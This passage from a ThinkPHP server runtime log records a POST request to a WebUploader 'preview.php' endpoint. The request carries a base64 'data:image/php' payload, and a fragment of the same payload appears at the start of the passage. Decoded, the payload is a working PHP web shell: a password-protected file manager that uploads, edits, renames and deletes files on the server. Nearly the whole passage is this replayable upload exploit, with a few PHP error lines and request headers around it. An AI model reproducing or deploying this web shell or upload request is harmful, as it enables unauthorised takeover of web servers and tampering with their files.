wvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:40+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002680s] [吞吐率:373.13req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7D